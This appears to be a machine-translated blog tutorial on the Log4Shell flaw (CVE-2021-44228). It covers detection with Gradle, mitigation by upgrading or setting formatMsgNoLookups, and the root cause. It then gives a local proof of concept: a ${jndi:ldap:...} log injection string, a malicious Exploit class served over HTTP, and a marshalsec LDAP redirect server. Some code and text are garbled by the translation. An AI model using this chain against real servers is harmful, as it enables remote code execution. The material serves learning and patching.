What’s going on

Log4J is a widely used Java library. Just two days ago, on December 10, 2021, a security vulnerability in Log4J was disclosed. It happened to be a Friday, and many programmers were planning to have a good weekend, but the disclosure of the security flaw forced many programmers around the world to work over the weekend, or even stay up all night.

The vulnerability, identified as CVE-2021-44228, allows an attacker to remotely execute malicious code by exploiting a new zero-day vulnerability.

A zero-day vulnerability is usually a security flaw that has not yet been patched. Programs of zero-day exploits pose a huge threat to network security. Therefore, zero-day exploits are not only the favorite of hackers, but also an important parameter to evaluate the level of hacker technology.

Need to deal with

First look at the official description on NIST:

Log4j2 uses JNDI functionality in configuration, log messages, and parameters. If the version of Log4j2 is <=2.14.1, THE JNDI-related functionality cannot defend against LDAP and other JNDI-related endpoints controlled by attackers. An attacker who controls log messages or log message parameters can execute arbitrary code from the LDAP server.

So if you are using Log4J to log and version <=2.14.1, you are probably caught. Note, however, that there are several LOG4J-related jars that only programs that use the log4J-Core package need to deal with. Spring-boot-starter-logging relies on log4J-to-SLf4j and log4J-API. These two packages do not introduce the above vulnerabilities. Use Spring Boot friends can rest assured.

If you are using Gradle, you can use the following command to check whether log4J-core is dependent and if version <=2.14.1.

./gradlew dependencyInsight --dependency log4j-core
Copy the code

How to deal with

The permanent solution is to upgrade Log4J to version 2.15.0 or higher. If temporary not to upgrade, can also be in the heart of the JVM system parameters log4j2. FormatMsgNoLookups set to true, also can avoid the attack by using the vulnerability.

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
Copy the code

What is the root cause

The root cause is JNDI injection in plain English, similar to SQL injection often seen in the past. Alibaba’s FastJson library has had similar vulnerabilities before.

  1. An attacker binds a Payload in the Naming/Directory service controlled by the attacker.
  2. The attacker injects absolute urls into vulnerable JNDI lookup methods.
  3. The application performs the lookup.
  4. The application connects to the payload of the controlled N/D service returned by the attacker.
  5. The application decodes the response and triggers the payload.

How to reproduce

First prepare any class to simulate malicious code. The following example starts the Mac calculator program in the constructor.

Exploit.java

java.lang.Runtime.getRuntime().exec(new String[] { "open"."-a"."Calculator" });
Copy the code

Log4j is then used to output a log. This vulnerability can be exploited if the log information is controlled by an attacker, such as the HTTP request parameters or headers printed in the code. An attacker can enter the following JNDI Url in the request parameters or headers. I’m just going to write it in code for convenience.

Log4j2Vul.java

logger.info("${jndi: ldap: 127.0.0.1 / anystring}");
Copy the code

We then built a simple HTTP server using Python to expose the malicious code explosion.class.

./gradle build
cd build/classes/java/main
python3 -m http.server 7374
Copy the code

We then set up an LDAP server using MarshalSec. Start the LDAP server and redirect the request to the HTTP server. This is the attacker’s Naming/Directory service, and the Payload is the exploitor.class.

git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests java -cp The target/marshalsec 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. LDAPRefServer http://127.0.0.1:7374/#Exploit 384Copy the code

Now we can exploit this vulnerability and execute malicious code. Run the following command to start the main method of Log4j2Vul and output logs.

./gradlew runLog4j2WithJavaExec
Copy the code

Then you’ll see the Mac calculator boot up.

Github Log4J2-conceive-reproduce. The code also includes an example of JNDI injection using the FastJson vulnerability.

conclusion

This article introduces Log4J security vulnerability CVE-2021-44228, how to deal with it, the root cause of the security vulnerability, and how to reproduce it, and provides the reproduction code.

Code word is not easy, if it helps you, please click like attention and share, thank you!

Refer to the link

  • Log4j2 vulnerability and Spring Boot
  • CVE-2021-44228 Detail
  • Zero-day (computing)
  • Code representation